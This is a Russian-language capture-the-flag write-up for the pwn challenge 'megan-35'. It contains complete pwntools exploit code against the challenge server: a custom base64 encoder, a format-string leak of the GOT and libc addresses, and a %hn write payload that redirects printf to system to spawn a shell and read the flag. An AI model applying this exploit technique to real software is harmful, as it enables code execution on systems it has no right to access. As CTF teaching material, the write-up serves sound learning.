Райтап на pwn таск megan-35
Райтап от тиммейта Xelentra.
Задание было:
We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535
nc megan35.stillhackinganyway.nl 3535
Решение:
1. Погуглилив выяснили, что megan-35 это base64 с другим набором символов. В итоге код на питоне на кодирования инпута в megan-35:
m35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
dic = dict(zip(b64, m35))
def m35encode(s):
return ''.join([dic[x] for x in base64.b64encode(s)])
2. Исследовали бинарник, поняли, что задание на форматную строку. Решили для того, чтобы получить шелл подменить адрес printf на адрес system. Находим все необходимые адреса:
Адрес printf_got
В консоли > objdump -R ./megan-35
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
Адрес main:
В gdb start -> смотрим что лежит в eip -> i r $eip = 0x80484e0
Адрес system:
Чтоб найти адрес system сначала надо найти адрес loaded_printf_addr который лежит в printf_got. Адрес libc находим как loaded_printf_addr - printf_got. Из него находим адрес system.
loaded_printf_addr нашли так:
def readAddrAtAddr(addr):
s = remote('megan35.stillhackinganyway.nl', 3535)
#s = process('./megan-35')
s.recvuntil('encryption.\n')
p = p32(addr) + "%p"*70 + ".%s"
s.sendline(m35encode(p))
result = s.recvall()
#print result
result = int(result.split('.')[-1][:4][::-1].encode('hex'),16)
return result
loaded_printf_addr = readAddrAtAddr(printf_got)
Где 70 – это (param_position – 1).
Param_position нашли так:
def findParamPosition():
for i in range(1, 100):
s = remote('megan35.stillhackinganyway.nl', 3535)
#s = process('./megan-35')
p = 'AAAA.%' + str(i) + '$x'
s.sendline(m35encode(p))
res = s.recvall()
if '41414141' in res:
print 'found 41414141 at', i,'th place'
break
Дальше нашли адрес libc и system:
printf_offset = libc.symbols['printf']
libc.address = loaded_printf_addr - printf_offset
system_addr = libc.symbols['system']
Return адрес из main:
В edb увидели, что у нас он записан по адресу 0xffffd3ac:
Дальше смотрели стек пока не нашли близкий к 0xffffd3ac адрес:
def leakStack():
result = ""
for i in range(1, 100):
s = process('./megan-35')
#s = remote('megan35.stillhackinganyway.nl', 3535)
p = 'AAAA.%' + str(i) + '$x'
s.sendline(m35encode(p))
result += s.recvall()
print result
Достаточно близкий адрес нашелся на 68-ой позиции (69 строчка – 1 АААА):
0xffffd3ac – 0xffffd2c4 = e8
Т.о. return адрес на сервере можно найти так:
def get68thAddress():
s = remote('megan35.stillhackinganyway.nl', 3535)
#s = process('./megan-35')
p = 'AAAA.%68$p'
s.sendline(m35encode(p))
result = s.recvall()
result = int(result.split('.')[-1], 16)
#print '68th address =', result
return result
return_addr = get68thAddress() + 0xe8
3. Собрали пэйлод, получили шелл:
# printf_got -> system_addr
# 0x0804a00c -> 0xf7e53940 (63461 | 14656)
# 0xffffddcc -> 0x80484e0 (2052 | 34016)
# return_addr -> main_addr
# 71 lower_sys + 72 higher_sys + 73 lower_main + 74 higer_main
payload = p32(printf_got) + p32(printf_got + 2) + p32(return_addr) + p32(return_addr + 2)
payload += '%' + str(2052 - 16) + 'x%74$hn'
payload += '%' + str(14656 - 2052) + 'x%71$hn'
payload += '%' + str(34016 - 14656) + 'x%73$hn'
payload += '%' + str(63461 - 34016) + 'x%72$hn'
s = remote('megan35.stillhackinganyway.nl', 3535)
s.sendline(m35encode(payload))
s.clean(timeout=1)
s.sendline(m35encode('/bin/sh\x00'))
s.interactive()
И флаг
$ cat flag
flag{43eb404b714b8d22e1168775eba1669c}
Полностью солвер:
- Автор: drakylar
- Комментарии: 0
- Просмотры: 3192